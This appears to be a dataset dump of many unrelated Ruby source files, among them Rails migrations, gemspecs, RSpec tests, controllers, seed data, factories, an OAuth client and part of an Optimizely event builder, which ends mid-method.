text stringlengths 10 2.61M |
|---|
class DeleteColumnInItemType < ActiveRecord::Migration[5.1]
def change
remove_column :item_types, :storage_time
end
end
|
# Generated by jeweler
# DO NOT EDIT THIS FILE DIRECTLY
# Instead, edit Jeweler::Tasks in Rakefile, and run the gemspec command
# -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = %q{radiant-autoresize_textarea-extension}
s.version = "0.1.0"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["SquareTalent"]
s.date = %q{2010-09-21}
s.description = %q{Automatically resizes textarea controls to fit their contents in the radiant admin interface.}
s.email = %q{mario@squaretalent.com}
s.extra_rdoc_files = [
"LICENSE",
"README.md"
]
s.files = [
".gitignore",
"CHANGELOG",
"LICENSE",
"README.md",
"Rakefile",
"VERSION",
"app/models/auto_resize_interface.rb",
"autoresize_textarea_extension.rb",
"config/locales/en.yml",
"config/routes.rb",
"cucumber.yml",
"features/support/env.rb",
"features/support/paths.rb",
"lib/tasks/autoresize_textarea_extension_tasks.rake",
"public/javascripts/admin/auto_resize.js",
"spec/spec.opts",
"spec/spec_helper.rb"
]
s.homepage = %q{http://github.com/squaretalent/radiant-autoresize_textarea-extension}
s.rdoc_options = ["--charset=UTF-8"]
s.require_paths = ["lib"]
s.rubygems_version = %q{1.3.7}
s.summary = %q{Automatically resizes textarea controls to fit their contents in the radiant admin interface.}
s.test_files = [
"spec/spec_helper.rb"
]
if s.respond_to? :specification_version then
current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
s.specification_version = 3
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
else
end
else
end
end
|
# encoding: utf-8
describe "symbolize_keys" do
subject { mapper.new.call input }
let(:input) do
[
{
"id" => 1,
"user" => {
"name" => "joe",
emails: [{ "address" => "joe@doe.com" }]
},
"roles" => [{ "name" => "admin" }]
}
]
end
let(:output) do
[
{
id: 1,
user: {
name: "joe",
emails: [{ address: "joe@doe.com" }]
},
roles: [{ "name" => "admin" }]
}
]
end
let(:mapper) do
Class.new(Faceter::Mapper) do
list do
symbolize_keys nested: false
field :user do
symbolize_keys
end
end
end
end
it "works" do
expect(subject).to eql output
end
end # describe symbolize_keys
|
Pod::Spec.new do |s|
s.name = 'Bugly'
s.version = '0.1.0'
s.summary = 'Bugly'
s.description = <<-DESC
Bugtags
DESC
s.homepage = 'https://github.com/wanglei/Bugly'
s.license = { :type => 'MIT' }
s.author = { 'wanglei' => 'wanglei@lanjignren.com' }
s.source = { :git => 'https://github.com/wanglei/Bugly.git', :tag => s.version.to_s }
s.ios.deployment_target = '8.0'
s.source_files = '*.{h,m}'
s.resource_bundles = {
'mp_controller' => ['**/mp_*.json'],
}
s.default_subspec = 'Lib'
s.subspec 'Lib' do |ss|
ss.frameworks = 'SystemConfiguration','Security'
ss.ios.vendored_frameworks = 'Lib/Bugly.framework'
ss.libraries = 'c++', 'z'
ss.requires_arc = true
end
end
|
module Admin::BackgroundHelper
# Converts the BackgrounDRb time to a localized time string
def time_to_string(datetime)
(datetime + datetime.utc_offset.seconds).to_s(:db)
end
def link_to_owner(job)
args = Marshal.load(job.args)
if job.worker_name == 'report_worker'
if job.worker_method == 'generate_report'
link = link_to args, edit_admin_report_path(args)
elsif job.worker_method == 'generate_alert'
link = link_to args, edit_admin_alert_path(args)
end
end
return link || args
end
end
|
require_relative 'animal'
class Lion < Animal
def talk
"#{@name} roars"
end
def eat(food)
"#{super} Law of the Jungle!"
end
end |
class Appointment < ActiveRecord::Base
belongs_to :doctor
belongs_to :patient
def readable_datetime
d = DateTime.parse(self.appointment_datetime)
d.strftime("%B %d, %Y at %H:%M")
end
end
|
require 'rails_helper'
RSpec.describe 'Items Merchant API' do
before :each do
FactoryBot.reload
end
describe 'happy path' do
it 'fetch one merchant by id' do
merchant1 = create(:merchant)
item1 = create(:item, merchant: merchant1)
item2 = create(:item, merchant: merchant1)
get "/api/v1/items/#{item1.id}/merchant"
expect(response).to be_successful
merchant = JSON.parse(response.body, symbolize_names: true)[:data]
expect(merchant[:id].to_i).to eq(merchant1.id)
expect(merchant[:attributes][:name]).to eq(merchant1.name)
end
end
describe 'sad path' do
it 'bad integer id returns 404' do
merchant1 = create(:merchant)
item1 = create(:item, merchant: merchant1)
item2 = create(:item, merchant: merchant1)
get "/api/v1/items/3/merchant"
expect(response).to_not be_successful
expect(response).to have_http_status(404)
error = JSON.parse(response.body, symbolize_names: true)[:error]
expect(error).to eq("Couldn't find Item with 'id'=3")
end
end
describe 'edge case' do
it 'string id returns 404' do
get "/api/v1/items/string-instead-of-integer/merchant"
expect(response).to_not be_successful
expect(response).to have_http_status(404)
error = JSON.parse(response.body, symbolize_names: true)[:error]
expect(error).to eq("Couldn't find Item with 'id'=string-instead-of-integer")
end
end
end
|
module Relevance
module Tarantula
# Monkey patch the result class to have a fuzzer
class Result
attr_accessor :fuzzer
end
# Response handler for the json response from the REST api.
class RestJSONResponseHandler
class << self
def handle(result)
return_value = result.dup
# Make sure return the result with successful state and populate the right result
# description
return_value.success = successful?(result)
unless return_value.success
if result.response
return_value.description = "Unexpected HTTP Response #{result.response.code}"
else
return_value.description = "HTTP Request to #{result.url} does not have any response"
end
end
return_value
end
def successful?(result)
# result false if the result does not have a response or result does not respond to
# :fuzzer because it is monkey patched to enable having fuzzer knowing what is the expected status code
# and the result's object access to the fuzzer.
return false unless result.response and result.respond_to? :fuzzer and result.fuzzer
# compare whether the status code from the result object is one of the expected results
# from the fuzzer.
fuzzer = result.fuzzer
code = result.response.code
fuzzer.expected_status_codes.include? code
end
end
end
end
end
|
class RenameFilmPeopleTable < ActiveRecord::Migration
def change
rename_table :film_people, :film_persons
end
end
|
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
# Mayor.create(name: 'Emanuel', city: cities.first)
Company.create(
[{ name: 'ARSAC Contratistas Generales', ruc: '12345678978' },
{ name: 'Consorcio Bagua', ruc: '20494052513'},
{ name: 'Consorcio San Francisco del Oriente', ruc: '20567151779' }],
)
#FinancialVariables.create(
# [{ name: 'igv'}, { value: '0.18' }]
#)
#Document.create(
# [{ name: 'Ingreso a Almacén', preffix: 'IWH' },
# { name: 'Salida de Almacén', preffix: 'OWH' }]
#)
@fromDate = Date.parse("01-01-2000")
@toDate = Date.parse("31-12-2030")
@year = @fromDate.strftime("%Y").to_i
@week = 1
@i = 0
# Load Data Link Time
(@fromDate .. @toDate).each do |x|
@i += 1
# Year Changed
if @year != x.strftime("%Y").to_i
@year = x.strftime("%Y").to_i
@week = 1
@i = 1
end
LinkTime.create({:date => x, :year => x.strftime("%Y"), :month => x.strftime("%m"), :day => x.strftime("%d"), :week => @week })
if @i % 7 == 0
@week += 1
end
end
Document.create(
[{ name: 'Ingreso a Almacén', preffix: 'IWH' },
{ name: 'Salida de Almacén', preffix: 'OWH' }]
) |
class ChangeTypeAmount < ActiveRecord::Migration
def change
change_column :stock_input_details, :amount, :float
change_column :stock_input_details, :unit_cost, :float
end
end
|
class LinkedLCCN::DBTune
def self.lookup_by_barcode(upc)
uri = URI.parse("http://dbtune.org/musicbrainz/sparql")
sparql = <<SPARQL
PREFIX mo: <http://purl.org/ontology/mo/>
DESCRIBE * WHERE {
?obj mo:barcode "#{upc}"
}
SPARQL
uri.query = "query=#{CGI.escape(sparql)}"
response = Net::HTTP.get uri
resources = {:record=>nil, :release=>nil}
collection = RDFObject::Parser.parse response
return nil if collection.empty?
releases = collection.find_by_predicate("[rdf:type]")
releases.each do | r |
break unless r.is_a?(Array)
r.each do | release |
next unless release.is_a?(RDFObject::Resource)
resources[:release] = release if release['[mo:barcode]'] == upc
end
end
records = collection.find_by_predicate("[mo:release]")
records.each do | r |
break unless r.is_a?(Array)
r.each do | record |
next unless record.is_a?(RDFObject::Resource)
record.describe
resources[:record] = record
end
end
resources
end
def self.lookup_by_catalog_number(label, number)
uri = URI.parse("http://dbtune.org/musicbrainz/sparql")
sparql = <<SPARQL
PREFIX mo: <http://purl.org/ontology/mo/>
PREFIX vocab: <http://dbtune.org/musicbrainz/resource/vocab/>
DESCRIBE ?s WHERE {
?label vocab:alias ?labelname .
?s vocab:release_catno "#{number}" .
?s mo:release_label ?label .
FILTER regex(?labelname, "#{label}", "i")
}
SPARQL
uri.query = "query=#{CGI.escape(sparql)}"
puts uri.to_s
begin
response = Net::HTTP.get uri
rescue Timeout::Error
return
end
resources = {:record=>nil, :release=>nil}
collection = RDFObject::Parser.parse response
return nil if collection.empty?
release = collection.find_by_predicate_and_object("http://dbtune.org/musicbrainz/resource/vocab/release_catno", number)
resources[:release] = release.values if release
records = collection.find_by_predicate("[mo:release]")
records.values.each do | record |
record.describe
end
resources[:record] = records.values
resources
end
end
|
# Copyright (c) 2005 Martin Ankerl
class Search_Engine
def initialize(gui, data)
@gui = gui
@data = data
@search_thread = nil
end
# Executed whenever a search criteria changes to update the packet list.
def on_search
# restart current search
@end_time = Time.now + $cfg.search_delay
@restart_search = true
@gui.search_label.enabled = false
return if @search_thread && @search_thread.status
@search_thread = Thread.new(@search_thread) do
begin
@gui.search_label.enabled = false
# wait untill deadline
while (t = (@end_time - Time.now)) > 0
sleep(t)
end
@data.gui_mutex.synchronize do
# the thread has to use the gui mutex inside
@restart_search = false
match_data = get_match_data
# remove all items
@gui.packet_list.dirty_clear
# add all items that match the search criteria
status_text_deadline = Time.now + $cfg.status_line_update_interval
@data.items.each do |item|
#item.parent = @gui.packet_list if match?(item, match_data)
if match?(item, match_data)
item.show
now = Time.now
if now > status_text_deadline
update_search_status_text
status_text_deadline = now + $cfg.status_line_update_interval
end
end
break if @restart_search
end
update_search_status_text
if (@gui.packet_list.numItems > 0)
@gui.packet_list.setCurrentItem(0)
@gui.packet_list.selectItem(0)
@gui.main.show_info(@gui.packet_list.getItem(0).packet_item.data)
end
@gui.search_label.enabled = true
end # synchronize
end while @restart_search# || match_data != @gui.search_field.text.downcase.split
end #thread.new
end
def get_match_data
str_to_match_data(@gui.search_field.text)
end
# Converts a string into a match_data representation.
def str_to_match_data(str, index=0)
words = [ ]
exclude = [ ]
is_exclude = false
while str[index]
case str[index]
when ?", ?'
word, index = get_word(str, index+1, str[index])
unless word.empty?
if is_exclude
exclude.push word
is_exclude = false
else
words.push word
end
end
when 32 # space
is_exclude = false
=begin
when ?>
min, index = get_word(str, index+1)
min = @gui.logic.size_to_nr(min)
when ?<
max, index = get_word(str, index+1)
max = @gui.logic.size_to_nr(max)
=end
when ?-
is_exclude = true
else
word, index = get_word(str, index)
if is_exclude
exclude.push word
is_exclude = false
else
words.push word
end
end
index += 1
end
# check if word has upcase letters
words.collect! do |w|
[w, /[A-Z]/.match(w)!=nil]
end
exclude.collect! do |w|
[w, /[A-Z]/.match(w)!=nil]
end
[words, exclude]
end
def get_word(str, index, delim=32) # 32==space
word = ""
c = str[index]
while (c && c != delim)
word += c.chr
index += 1
c = str[index]
end
[word, index]
end
# Update the text for the number of displayed packs.
def update_search_status_text
@gui.search_label.text = sprintf($cfg.text.search, @gui.packet_list.numItems, @data.items.size)
end
# Find out if item is matched by current search criteria.
def match?(item, match_data)
words, exclude, min, max = match_data
# check text that has to be there
searchable, sortable_downcase, sortable_normal = item.sortable(0)
words.each do |match_str, is_sensitive|
if is_sensitive
return false unless sortable_normal.include?(match_str)
else
return false unless sortable_downcase.include?(match_str)
end
end
# check text not allowed to be there
exclude.each do |match_str, is_sensitive|
if is_sensitive
return false if sortable_normal.include?(match_str)
else
return false if sortable_downcase.include?(match_str)
end
end
# each check ok
true
end
end
|
# frozen_string_literal: true
require 'spec_helper'
require 'bunny'
module BunnyRun
RSpec.describe Message do
let(:delivery_mode) { 2 }
let(:delivery_tag) { rand(1000) }
let(:routing_key) { 'ping' }
let(:channel) do
instance_double(::Bunny::Channel, ack: nil, reject: nil)
end
let(:consumer) do
instance_double(::Bunny::Consumer, no_ack: false)
end
let(:delivery_info) do
instance_double(
::Bunny::DeliveryInfo,
channel: channel,
consumer: consumer,
delivery_tag: delivery_tag,
routing_key: routing_key
)
end
let(:properties) do
instance_double(
::Bunny::MessageProperties,
delivery_mode: delivery_mode
)
end
let(:payload) do
'{"hello": "world"}'
end
describe '#delivery_info' do
it 'returns message delivery_info' do
msg = Message.new(delivery_info, properties, payload)
result = msg.delivery_info
expect(result).to eq(delivery_info)
end
end
describe '#properties' do
it 'returns message properties' do
msg = Message.new(delivery_info, properties, payload)
result = msg.properties
expect(result).to eq(properties)
end
end
describe '#payload' do
it 'returns message payload' do
msg = Message.new(delivery_info, properties, payload)
result = msg.payload
expect(result).to eq(payload)
end
end
describe '#channel' do
it 'returns channel from delivery_info' do
msg = Message.new(delivery_info, properties, payload)
result = msg.channel
expect(result).to eq(channel)
end
end
describe '#acked?' do
it 'returns false when message has not been acked' do
msg = Message.new(delivery_info, properties, payload)
result = msg.acked?
expect(result).to eq(false)
end
it 'returns true when message has been acked' do
msg = Message.new(delivery_info, properties, payload)
msg.ack
result = msg.acked?
expect(result).to eq(true)
end
it 'returns nil when message does not use manual ack' do
allow(consumer).to receive(:no_ack).and_return(true)
msg = Message.new(delivery_info, properties, payload)
result = msg.acked?
expect(result).to eq(nil)
end
end
describe '#ack' do
it 'acknowledges the message' do
msg = Message.new(delivery_info, properties, payload)
msg.ack
expect(channel).to have_received(:ack).with(delivery_tag)
end
it 'makes #acked? return true' do
msg = Message.new(delivery_info, properties, payload)
expect(msg.acked?).to eq(false)
msg.ack
expect(msg.acked?).to eq(true)
end
end
describe '#reject' do
it 'rejects the message' do
msg = Message.new(delivery_info, properties, payload)
msg.reject
expect(channel).to have_received(:reject).with(delivery_tag, false)
end
it 'makes #acked? return true' do
msg = Message.new(delivery_info, properties, payload)
expect(msg.acked?).to eq(false)
msg.reject
expect(msg.acked?).to eq(true)
end
end
describe '#requeue' do
it 'requeues the message' do
msg = Message.new(delivery_info, properties, payload)
msg.requeue
expect(channel).to have_received(:reject).with(delivery_tag, true)
end
it 'makes #acked? return true' do
msg = Message.new(delivery_info, properties, payload)
expect(msg.acked?).to eq(false)
msg.requeue
expect(msg.acked?).to eq(true)
end
end
describe '#manual_ack?' do
it 'returns true when consumer is not "no_ack"' do
allow(consumer).to receive(:no_ack).and_return(false)
msg = Message.new(delivery_info, properties, payload)
result = msg.manual_ack?
expect(result).to eq(true)
end
it 'returns false when consumer is "no_ack"' do
allow(consumer).to receive(:no_ack).and_return(true)
msg = Message.new(delivery_info, properties, payload)
result = msg.manual_ack?
expect(result).to eq(false)
end
end
describe '#routing_key' do
it 'returns the routing key from delivery_info' do
msg = Message.new(delivery_info, properties, payload)
result = msg.routing_key
expect(result).to eq(routing_key)
end
end
describe '#delivery_mode' do
it 'returns the routing key from message properties' do
msg = Message.new(delivery_info, properties, payload)
result = msg.delivery_mode
expect(result).to eq(delivery_mode)
end
end
describe '#delivery_tag' do
it 'returns the delivery tag from delivery_info' do
msg = Message.new(delivery_info, properties, payload)
result = msg.delivery_tag
expect(result).to eq(delivery_tag)
end
end
end
end
|
require 'active_support/core_ext/class/attribute'
module Prince
TUNIC_COLORS = [
COLOR_RED = :red, # Primus
COLOR_WHITE = :white, # Secundus
COLOR_BLACK = :black, # Tertius
COLOR_PURPLE = :purple, # Quartus
COLOR_BLUE = :blue, # Septimus
COLOR_BROWN = :brown, # Octavius
NO_TUNIC = :none
]
def self.included(cls)
cls.instance_eval do |cls|
class_attribute :starting_tunic_color
end
end
def tunic_color=(value)
if TUNIC_COLORS === value
@tunic_color = value
else
raise ArgumentError "#{value} is not a valid tunic color."
end
end
def tunic_color
@tunic_color ||= self.starting_tunic_color
end
end
|
shared_examples_for "a Reader class" do
it 'should be a subclass of Reader' do
expect(described_class.ancestors).to include(Alf::Reader)
end
it "has a default mime type" do
expect(described_class).to respond_to(:mime_type)
end
describe "an instance" do
let(:reader){ described_class.new(StringIO.new("")) }
it 'returns a Enumerator with #each without block' do
expect(reader.each).to be_kind_of(Enumerator)
end
end
end
|
class StoriesController < ApplicationController
def index
@stories = Story.order(posted_at: :desc).page(params[:page])
end
end
|
require 'rails_helper'
RSpec.describe "user show page", type: :feature do
before(:each) do
@book_1 = Book.create!(title: "Book 1", publication_year: 1999, pages: 100, cover_image: "book1.png")
@book_2 = Book.create!(title: "Book 2", publication_year: 2000, pages: 105, cover_image: "book2.png")
@book_3 = Book.create!(title: "Book 3", publication_year: 2001, pages: 110, cover_image: "book3.png")
@author_1 = @book_1.authors.create!(name: "Author 1")
@author_2 = @book_1.authors.create!(name: "Author 2")
@author_3 = @book_2.authors.create!(name: "Author 3")
@author_4 = @book_3.authors.create!(name: "Author 4")
@user_1 = User.create!(username: "User 1")
@user_2 = User.create!(username: "User 2")
@users = User.all
@review_1 = @book_1.reviews.create!(user: @user_1, title: "Review Book 1.1", rating: 1, text: "Cool")
@review_2 = @book_1.reviews.create!(user: @user_2, title: "Review Book 1.2", rating: 2, text: "Cooler")
@review_3 = @book_2.reviews.create!(user: @user_1, title: "Review Book 3", rating: 3, text: "Coolest")
@review_4 = @book_2.reviews.create!(user: @user_2, title: "Review Book 1.3", rating: 5, text: "Best book ever")
@review_5 = @book_3.reviews.create!(user: @user_1, title: "Review Book 1.4", rating: 2, text: "Pretty bad")
@reviews = Review.all
end
describe "it displays all the reviews the user has written" do
it "includes the review title, description/text, book title, rating, book thumbnail image, and date written" do
visit user_path(@user_1)
expect(page).to have_content(@user_1.username)
within "#review-#{@review_1.id}" do
expect(page).to have_content(@review_1.title)
expect(page).to have_content(@review_1.text)
expect(page).to have_content(@book_1.title)
expect(page).to have_content(@review_1.rating)
expect(page).to have_css("img[src='#{@book_1.cover_image}']")
expect(page).to have_content(@review_1.created_at.to_formatted_s(:long).slice(0...-6))
expect(page).to_not have_content(@review_2.title)
expect(page).to_not have_content(@review_2.text)
end
visit user_path(@user_2)
expect(page).to have_content(@user_2.username)
within "#review-#{@review_4.id}" do
expect(page).to have_content(@review_4.title)
expect(page).to have_content(@review_4.text)
expect(page).to have_content(@book_2.title)
expect(page).to have_content(@review_4.rating)
expect(page).to have_css("img[src='#{@book_2.cover_image}']")
expect(page).to have_content(@review_4.created_at.to_formatted_s(:long).slice(0...-6))
expect(page).to_not have_content(@review_5.title)
expect(page).to_not have_content(@review_5.text)
end
end
it "displays a link to sort the user reviews by newest and by oldest " do
visit user_path(@user_1)
expect(page).to have_link("Most Recent - Reviews")
expect(page).to have_link("Oldest - Reviews")
click_on "Most Recent - Reviews"
expect(current_path).to eq(user_path(@user_1))
end
it "displays the user's reviews by newest to oldest" do
visit user_path(@user_1)
click_on "Most Recent - Reviews"
within "#review-#{@review_1.id}" do
expect(page).to have_content(@review_1.title)
expect(page).to have_content(@review_1.text)
expect(page).to have_content(@review_1.rating)
expect(page).to have_content(@book_1.title)
expect(page).to have_css("img[src='#{@book_1.cover_image}']")
expect(page).to have_content(@review_1.created_at.to_formatted_s(:long).slice(0...-6))
end
within "#review-#{@review_3.id}" do
expect(page).to have_content(@review_3.title)
expect(page).to have_content(@review_3.text)
expect(page).to have_content(@review_3.rating)
expect(page).to have_content(@book_2.title)
expect(page).to have_css("img[src='#{@book_2.cover_image}']")
expect(page).to have_content(@review_3.created_at.to_formatted_s(:long).slice(0...-6))
end
within "#review-#{@review_5.id}" do
expect(page).to have_content(@review_5.title)
expect(page).to have_content(@review_5.text)
expect(page).to have_content(@review_5.rating)
expect(page).to have_content(@book_3.title)
expect(page).to have_css("img[src='#{@book_3.cover_image}']")
expect(page).to have_content(@review_5.created_at.to_formatted_s(:long).slice(0...-6))
end
end
it "displays the user's review by oldest to newest" do
visit user_path(@user_1)
click_on "Oldest - Reviews"
within "#review-#{@review_5.id}" do
expect(page).to have_content(@review_5.title)
expect(page).to have_content(@review_5.text)
expect(page).to have_content(@review_5.rating)
expect(page).to have_content(@book_3.title)
expect(page).to have_css("img[src='#{@book_3.cover_image}']")
expect(page).to have_content(@review_5.created_at.to_formatted_s(:long).slice(0...-6))
end
within "#review-#{@review_3.id}" do
expect(page).to have_content(@review_3.title)
expect(page).to have_content(@review_3.text)
expect(page).to have_content(@review_3.rating)
expect(page).to have_content(@book_2.title)
expect(page).to have_css("img[src='#{@book_2.cover_image}']")
expect(page).to have_content(@review_3.created_at.to_formatted_s(:long).slice(0...-6))
end
within "#review-#{@review_1.id}" do
expect(page).to have_content(@review_1.title)
expect(page).to have_content(@review_1.text)
expect(page).to have_content(@review_1.rating)
expect(page).to have_content(@book_1.title)
expect(page).to have_css("img[src='#{@book_1.cover_image}']")
expect(page).to have_content(@review_1.created_at.to_formatted_s(:long).slice(0...-6))
end
end
it "deletes a single review the user has written" do
visit user_path(@user_1)
within "#review-#{@review_3.id}" do
expect(page).to have_content(@review_3.title)
click_on "Delete this Review"
end
expect(page).to_not have_content(@review_3.title)
end
end
end
|
require "metacrunch/hash"
require "metacrunch/transformator/transformation/step"
require_relative "../aleph_mab_normalization"
class Metacrunch::ULBD::Transformations::AlephMabNormalization::AddAdditionalData < Metacrunch::Transformator::Transformation::Step
def call
target ? Metacrunch::Hash.add(target, "additional_data", additional_data) : additional_data
end
private
def additional_data
additional_data = {
local_comment: [local_comment].flatten(1).compact.presence
}
.inject({}) { |hash, (key, value)| hash[key] = value if value.present?; hash }
additional_data.to_json if additional_data.present?
end
private
def local_comment
target.try(:[], "local_comment") || self.class.parent::AddLocalComment.new(source: source).call
end
end
|
class CreateDianbos < ActiveRecord::Migration
def change
create_table :dianbos, options: 'ENGINE=INNODB, CHARSET=UTF8' do |t|
t.integer :type
t.integer :number
t.timestamps
end
end
end
|
# frozen_string_literal: true
class Object
def deep_symbolize_keys
return self.reduce({}) do |memo, (k, v)|
memo.tap { |m| m[k.to_sym] = v.deep_symbolize_keys }
end if self.is_a? Hash
return self.reduce([]) do |memo, v|
memo << v.deep_symbolize_keys; memo
end if self.is_a? Array
self
end
# Return only key that doesn't have `nil` value
def trim
self.select { |_k, v| v.present? }
end
end
|
class MoviesController < ApplicationController
def index
movies = Movie.all
render json: movies.as_json(except: [:created_at, :updated_at]), status: :ok
end
def show
movie = Movie.find_by(id: params[:id])
if movie.nil?
render json: {ok: false, message: 'not found'}, status: :not_found
else
render json: movie.as_json(except: [:created_at, :updated_at]), status: :ok
end
end
def create
movie = Movie.new(movie_params)
if movie.save
render json: { id: movie.id }, status: :ok
else
render json: {
message: movie.errors.messages
}, status: :bad_request
end
end
private
def movie_params
params.permit(:title, :release_date, :overview, :inventory)
end
end
|
# frozen_string_literal: true
require "bundler/inline"
gemfile(true) do
source "https://rubygems.org"
git_source(:github) { |repo| "https://github.com/#{repo}.git" }
# Activate the gem you are reporting the issue against.
gem "activerecord", "5.1.4"
gem "sqlite3"
end
require "active_record"
require "minitest/autorun"
require "logger"
# This connection will do for database-independent bug reports.
ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
ActiveRecord::Base.logger = Logger.new(STDOUT)
ActiveRecord::Schema.define do
create_table :proposals, force: true do |t|
t.string :name
end
create_table :products, force: true do |t|
t.string :name
end
create_join_table :proposals, :products, table_name: :assignments, column_options: {type: :uuid} do |t|
t.index [:proposal_id, :product_id]
t.timestamps
end
end
class Proposal < ActiveRecord::Base
has_many :assignments#, dependent: :destroy
has_many :products, through: :assignments, dependent: :destroy
end
class Product < ActiveRecord::Base
has_many :assignmentsi#, dependent: :destroy
has_many :proposals, through: :assignments, dependent: :destroy
end
class Assignment < ActiveRecord::Base
belongs_to :product
belongs_to :proposal
end
class BugTest < Minitest::Test
def test_association_stuff
proposal = Proposal.create!(name: 'Test Proposal 1')
proposal.products << Product.create!(name: 'Test Product 1')
assert_equal 1, proposal.products.count
assert_equal 1, Product.count
assert_equal 1, Assignment.count
proposal.update_attributes(name: 'Test Proposal 2')
updated_proposal = Proposal.last
assert_equal 'Test Proposal 2', updated_proposal.name
updated_proposal.destroy
assert_equal 0, Proposal.count
assert_equal 0, Assignment.count
end
end
|
require 'daum_oauth/yozm'
require 'daum_oauth/cafe'
require 'daum_oauth/blog'
require 'uri'
module DaumOAuth
class Client
def initialize(options = {})
@consumer_key = options[:consumer_key]
@consumer_secret = options[:consumer_secret]
@token = options[:token]
@secret = options[:secret]
#@callback_url = options[:callback_url]
end
def authorize(token, secret, options = {})
request_token = OAuth::RequestToken.new(
consumer, token, secret
)
@access_token = request_token.get_access_token(options)
@token = @access_token.token
@secret = @access_token.secret
@access_token
end
def request_token(options={})
consumer.get_request_token(options)
end
def authentication_request_token(options = {})
request_token(options)
end
private
def consumer
@consumer ||= OAuth::Consumer.new(
@consumer_key,
@consumer_secret,
{
:site => 'https://apis.daum.net',
:request_token_path => '/oauth/requestToken',
:access_token_path => '/oauth/accessToken',
:authorize_path => '/oauth/authorize'
}
)
end
def access_token
@access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)
end
def get(path, headers={})
headers.merge!("User-Agent" => "daum_oauth gem v#{DaumOAuth::VERSION}")
oauth_response = access_token.get(path, headers)
JSON.parse oauth_response.body
end
def post(path, body='', headers={})
headers.merge!("User-Agent" => "daum_oauth gem v#{DaumOAuth::VERSION}")
oauth_response = access_token.post(path, body, headers)
JSON.parse oauth_response.body
end
end
end
|
Factory.define :employee do |employee|
employee.name "Jimmy Admin"
employee.email "jimmyadmin@example.com"
employee.password "foobar"
employee.password_confirmation "foobar"
end
Factory.sequence :email do |n|
"employee-#{n}@example.com"
end
Factory.define :client do |client|
client.first_name "Jimmy"
client.last_name "Smiles"
client.email "jimmysmiles@example.com"
client.phone "0123456789"
end
Factory.sequence :last_name do |n|
"#{n}"
end
Factory.sequence :email do |n|
"client-#{n}@example.com"
end
Factory.sequence :phone do |n|
rnum = rand(999999999).to_s.center(9,rand(9).to_s)
"#{n}#{rnum}"
end
Factory.define :client_addr do |client_addr|
client_addr.title "Primary"
client_addr.street "Street"
client_addr.city "City"
client_addr.state "State"
client_addr.zip 12345
client_addr.association :client
end
Factory.define :quote do |quote|
quote.title "Incline"
quote.notes "Will need to purchase a shit ton of dirt.."
quote.association :client
end
Factory.sequence :title do |n|
"Incline #{n}"
end
Factory.define :quote_item do |quote_item|
quote_item.item_num "K23-B"
quote_item.description "Rocks"
quote_item.qty 2
quote_item.price 24.99
quote_item.notes "Requires some dirt"
quote_item.association :quote
end
Factory.sequence :item_num do |n|
"KBQ-#{n}"
end |
class Match < ApplicationRecord
before_save :set_affiliate
belongs_to :tutor
belongs_to :student
belongs_to :affiliate
validates_presence_of :start
validate :matching_member_affiliates
def set_affiliate
# Odd choice of activerecord hopping for purposes of seeding smoothness
self.affiliate_id =
Enrollment.where(student_id: student_id).take.affiliate_id
end
def matching_member_affiliates
return if tutor.active_affiliate.id == student.active_affiliate.id
errors.add(:student, 'Student must belong to same affiliate as tutor.')
end
end
|
require_relative './audience'
require_relative './params'
require_relative './version'
module Optimizely
class Event
# Representation of an event which can be sent to the Optimizely logging endpoint.
# Event API format
OFFLINE_API_PATH = 'https://%{project_id}.log.optimizely.com/event'
# Gets/Sets event params.
attr_accessor :params
def initialize(params)
@params = params
end
def url
# URL for sending impression/conversion event.
#
# project_id - ID for the project.
#
# Returns URL for event API.
sprintf(OFFLINE_API_PATH, project_id: @params[Params::PROJECT_ID])
end
end
class EventBuilder
# Class which encapsulates methods to build events for tracking impressions and conversions.
# Attribute mapping format
ATTRIBUTE_PARAM_FORMAT = '%{segment_prefix}%{segment_id}'
# Experiment mapping format
EXPERIMENT_PARAM_FORMAT = '%{experiment_prefix}%{experiment_id}'
attr_accessor :config
attr_accessor :bucketer
attr_accessor :params
def initialize(config, bucketer)
@config = config
@bucketer = bucketer
@params = {}
end
def create_impression_event(experiment_key, variation_id, user_id, attributes)
# Create conversion Event to be sent to the logging endpoint.
#
# experiment_key - Experiment for which impression needs to be recorded.
# variation_id - ID for variation which would be presented to user.
# user_id - ID for user.
# attributes - Hash representing user attributes and values which need to be recorded.
#
# Returns event hash encapsulating the impression event.
@params = {}
add_common_params(user_id, attributes)
add_impression_goal(experiment_key)
add_experiment(experiment_key, variation_id)
Event.new(@params)
end
def create_conversion_event(event_key, user_id, attributes, event_value, experiment_keys)
# Create conversion Event to be sent to the logging endpoint.
#
# event_key - Goal key representing the event which needs to be recorded.
# user_id - ID for user.
# attributes - Hash representing user attributes and values which need to be recorded.
# event_value - Value associated with the event. Can be used to represent revenue in cents.
# experiment_keys - Array of valid experiment keys for the goal
@params = {}
add_common_params(user_id, attributes)
add_conversion_goal(event_key, event_value)
add_experiment_variation_params(user_id, experiment_keys)
Event.new(@params)
end
private
def add_project_id
# Add project ID to the event.
@params[Params::PROJECT_ID] = @config.project_id
end
def add_account_id
# Add account ID to the event.
@params[Params::ACCOUNT_ID] = @config.account_id
end
def add_user_id(user_id)
# Add user ID to the event.
@params[Params::END_USER_ID] = user_id
end
def add_attributes(attributes)
# Add attribute(s) information to the event.
#
# attributes - Hash representing user attributes and values which need to be recorded.
return if attributes.nil?
attributes.keys.each do |attribute_key|
attribute_value = attributes[attribute_key]
next unless attribute_value
segment_id = @config.attribute_key_map[attribute_key]['segmentId']
segment_param = sprintf(ATTRIBUTE_PARAM_FORMAT,
segment_prefix: Params::SEGMENT_PREFIX, segment_id: segment_id)
params[segment_param] = attribute_value
end
end
def add_source
# Add source information to the event.
@params[Params::SOURCE] = sprintf('ruby-sdk-%{version}', version: VERSION)
end
def add_time
# Add time information to the event.
@params[Params::TIME] = Time.now.strftime('%s').to_i
end
def add_common_params(user_id, attributes)
# Add params which are used same in both conversion and impression events.
#
# user_id - ID for user.
# attributes - Hash representing user attributes and values which need to be recorded.
add_project_id
add_account_id
